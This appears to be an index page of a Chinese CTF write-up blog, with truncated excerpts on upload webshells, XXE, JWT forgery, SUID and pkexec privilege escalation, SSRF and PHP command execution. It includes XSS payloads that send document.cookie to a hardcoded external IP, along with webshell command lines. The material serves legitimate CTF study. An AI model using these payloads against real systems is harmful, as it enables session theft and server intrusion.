TGCTF(ez)upload上传一个图片马 抓包 通过 /. 绕过
在upload.php.bak里我们可以看到源码
上传成功 访问uploads/shell.php
执行命令
1shell=system('env');
AAA偷渡阴平
可以通过无参rce读取
要列出根目录,可以利用 PHP 的预定义常量 DIRECTORY_SEPARATOR 绕过对斜杠 / 的过滤。
方法:使用 DIRECTORY_SEPARATOR 常量
PHP 的 DIRECTORY_SEPARATOR 是一个预定义常量,在 Linux 系统中值为 /。通过该常量可以构造根目录的路径,而无需直接使用被过滤的斜杠。
所以我们可以通过
1print_r(scandir(DIRECTORY_SEPARATOR));
来列出根目录 发现了 flag文件
读取flag
方法:使用 chdir 切换目录
PHP 的 chdir 函数可以切换当前工作目录。结合 DIRECTORY_SEPARATOR(值为 /),无需使用 . 拼接路径即可访问根目 ...
0x01命令执行函数介绍常见函数
system exec passthru shell_exec 反引号 popen proc_open pcntl_exec
system 有回显system(string $command,int &$return_var = ?)
常用参数:
command:执行command参数所指定的目录,并且输出执行结果
如果提供rerurn_var参数,则外部命令执行后的返回状态将会被设置到此变量中
exec 回显最后一行exec(字符串 $command, 数组 &$output = null, int &$result_code = null):
exec() 执行给定的 .command
参数
command
将要执行的命令。
output
如果存在该参数,则 指定的数组将填充 命令。尾随空格(如 , )不是 包含在此数组中。请注意,如果数组已经包含一些 元素中,exec() 将附加到数组的末尾。 如果你不希望函数附加元素,请在将数组传递给 exec() 之前对 ...
web373
1libxml_disable_entity_loader(false);
允许 加载外部实体(Entity),这是 XXE 攻击的核心触发点。
1$xmlfile = file_get_contents('php://input');
从请求体中读取原始 POST 数据(也就是 XML 内容)。
123if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
使用 LIBXML_NOENT 和 LIBXML_DTDLOAD:
LIBXML_NOENT: 会将实体替换成其定义内容。
LIBXML_DTDLOAD: 允许加载外部 DTD(文档类型定义)。
这两个选项组合正是 XXE 攻击生效的关键。
12345 $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ ...
XSS 完全指南 - CTF-Web修炼手册
XSS跨站脚本攻击XSS介绍什么是xss?
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。XSS危害
通过document.cookie盗取cookie中的信息。
使用js或css破坏页面正常的结构与样式。
流量劫持(通过访问某段具有window.location.href定位到其他页面)。
dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可 ...
ctfshow
未读web316试了好久 写文件 nc x到的总是自己 bot点击的cookie接收不到
最后还是用python监听http服务
能够XSS的123456789101112131415161718192021外带<script>var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;</script><script>window.open('http://118.31.168.198:39543/'+document.cookie)</script><script>location.href='http://118.31.168.198:39543/'+document.cookie</script><script>window.location.href='http://1 ...
ctfshow
未读web345未对签名进行验证
要伪造admin用户访问 admin路由
bp抓包
可以看到这个jwt只要两部分
没有signature(签名)部分 很明显未对签名进行验证
直接把payload部分 的用户 该为admin
header部分 的加密算法 None改成任何一个加密算法都可以
直接在bp里就可以修改
改完之后应用变更send 到/admin/路由 即可
web346未对加密算法进行强验证
攻击手法跟上关一样 只不过这里要把后面的签名部分去掉 把header中的alg参数的值改为none payload中的sub改为admin
伪造成功发包就可以了
web347弱密钥
jwt_tool爆破一下密钥
也可以用bp的JSON Editor插件 爆破
可以爆破出来secret是123456
然后用密钥去伪造jwt
伪造的话可以用JWT Web Tokens插件 JWT Editor应该也可以直接用 JWT Web Tokens插件感觉也更方便一点
该一下sub 加一下密钥 去访问/ ...
这又是一个上传前端检查后缀 上传文件 bp抓包 改后缀
antsword连接后发现没权限 啥都读不了
终端打开可以发现用户是www-data 没有读取文件的权限
查找SUID提权文件
123find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls {} \; 2>/dev/null
有个/opt/polkit-0.105/src/programs/.libs/pkexec
polkit-0.105/src/programs/.libs/pkexec存在本地提权漏洞 CVE-2021=4034
berdav/CVE-2021-4034: CVE-2021-4034 1day
polkit是一个授权管理器,其系统架构由 ...
ez_ruby
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768require "sinatra"require "erb"require "json"class User attr_reader :name, :age def initialize(name="oSthinggg", age=21) @name = name @age = age end def is_admin? if to_s == "true" "a admin,good!give your fake flag! flag{RuBy3rB_1$_s3_1Z}" else ...
best_profile123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167import osimport reimport randomimport stringimport requestsfrom flask import ( Flask, ren ...
0x001SSRF前置课程NATSSRF
服务器伪造 是一种由攻击者形成服务器端发起的安全漏洞
NAT
网络地址转换 通过将一个外部IP地址和端口映射到更大的内部IP地址集来转换IP地址
0x002SSRF漏洞原理攻击的目标:
从外网无法访问的内部系统
形成的原因:
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制
从指定URL地址获取网页文本内容
加载指定地址的图片,下载
百度识图,给出一串URL就能识别出图片
SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。
利用file协议读取本地文件
对服务器所在内网,本地进行端口扫描,获取一些服务的banner信息
攻击运行在内网或本地的应用程序
对内网web应用进行指纹识别,识别企业内部的资产信息
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
0x003SSRF信息收集file伪协议伪协议
12345678910111213file:// 从文件系统中读取文件内容,如file:///etc ...